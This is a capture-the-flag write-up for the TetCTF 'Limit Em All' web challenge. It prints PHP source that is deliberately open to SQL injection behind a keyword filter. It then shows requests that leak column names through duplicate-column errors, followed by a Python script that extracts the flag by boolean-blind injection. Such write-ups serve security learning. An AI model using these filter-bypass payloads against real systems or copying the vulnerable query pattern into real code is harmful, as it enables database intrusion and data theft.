Investigation
Limit ‘Em All! http://45.77.255.164/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<!-- The Author of this challenge is so kind and handsome that he is giving you flag, just need to bypass his god-tier waf and grab it <3 -->
<?php
include('dbconnect.php');
if(!isset($_GET["id"]))
{
show_source(__FILE__);
}
else
{
// filter all what i found on internet.... dunno why 。゚・(>﹏<)・゚。
if (preg_match('/union|and|or|on|cast|sys|inno|mid|substr|pad|space|if|case|exp|like|sound|produce|extract|xml|between|count|column|sleep|benchmark|\<|\>|\=/is' , $_GET['id']))
{
die('<img src="https://i.imgur.com/C42ET4u.gif" />');
}
else
{
// prevent sql injection
$id = mysqli_real_escape_string($conn, $_GET["id"]);
$query = "select * from flag_here_hihi where id=".$id;
$run_query = mysqli_query($conn,$query);
if(!$run_query) {
echo mysqli_error($conn);
}
else
{
// I'm kidding, just the name of flag, not flag :(
echo '<br>';
$res = $run_query->fetch_array()[1];
echo $res;
}
}
}
?>
|
As you can see, the program only outputs the second column of the record, and it already filters out some gadgets with preg_match
.
Go to http://45.77.255.164/?id=1
, and get handsome_flag
as the response. Different id has different output. This can be the identifier to check whether our query outputs 1 or other values when using Blind SQL Injection.
From the source code, we already know that the table name is flag_here_hihi
. What I need to do next is
- get column names
- get the value of the specific column
=
and like
are filtered => use in
.
substr
and mid
are filtered => use left
information_schema
cannot be used since or
is filtered. I need to use the alternative method to extract column names.
Exploitation
Find column names
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
Request
GET /?id=1 && (SELECT * from flag_here_hoho.flag_here_hihi) in (1)
Response
Operand should contain 3 column(s)
# Which means there are 3 columns in total
Request
GET /?id=1 && (select * from (select * from flag_here_hihi as a join flag_here_hihi as b)as c)
Response
Duplicate column name 'id'
# Which means the first column is 'id'
Request
GET /?id=1 && (select * from (select * from flag_here_hihi as a join flag_here_hihi as b using(id))as c)
Response
Duplicate column name 't_fl4g_name_su'
# Which means the second column is 't_fl4g_name_su', which is 'handsome_flag' when id=1.
Request
GET /?id=1 && (select * from (select * from flag_here_hihi as a join flag_here_hihi as b using(id,t_fl4g_name_su))as c)
Response
Duplicate column name 't_fl4g_v3lue_su'
# The last column is 't_fl4g_v3lue_su'
|
Now we get all the column names, and it is obvious that the flag stores in ’t_fl4g_v3lue_su’.
Get the value of column t_fl4g_v3lue_su
First, I need to know the length of the flag.
I use the length
function with in
as query. Like length((select t_fl4g_v3lue_su from flag_here_hihi limit 0,1)) in (1)
, if the flag length is 1, this query will be true
, otherwise false
. With 1 &&
in the front, if handsome_flag
is in the response, then the query behind &&
is true
.
After I get the length of the flag, which is 61, the next step is to get the flag character by character.
I make a query like left(binary(select t_fl4g_v3lue_su from flag_here_hihi limit 0,1),1) in (char(84))
, use binary
for case-sensitive, char(84)
is T
.
So, this query returns true
if the left-most character of the flag is T
, otherwise false
.
After having the first character, I can keep on using left(binary(select t_fl4g_v3lue_su from flag_here_hihi limit 0,1),2) in (char(84,101))
to find the second character from the left.
The script is as follows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
import requests
import string
chars = [ord(ch) for ch in string.printable]
flag_length = 0
for i in range(1, 70):
my_param = {
'id': '1 && length((select t_fl4g_v3lue_su from flag_here_hihi limit 0,1)) in ({})'.format(i)
}
r = requests.get('http://45.77.255.164/', params=my_param)
if 'handsome_flag' in r.text:
flag_length = i
print('Flag length', flag_length)
# Flag length 61
flag = ''
flag_ascii = ''
for i in range(1, flag_length + 1):
for ch in chars:
my_param = {
'id': '1 && left(binary(select t_fl4g_v3lue_su from flag_here_hihi limit 0,1),{}) in (char({}{}))'.format(i, flag_ascii, ch)
}
r = requests.get('http://45.77.255.164/', params=my_param)
if 'handsome_flag' in r.text:
flag += chr(ch)
flag_ascii += str(ch) + ','
print(flag)
break
print('Flag', flag)
|
Finally I get the flag TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}
.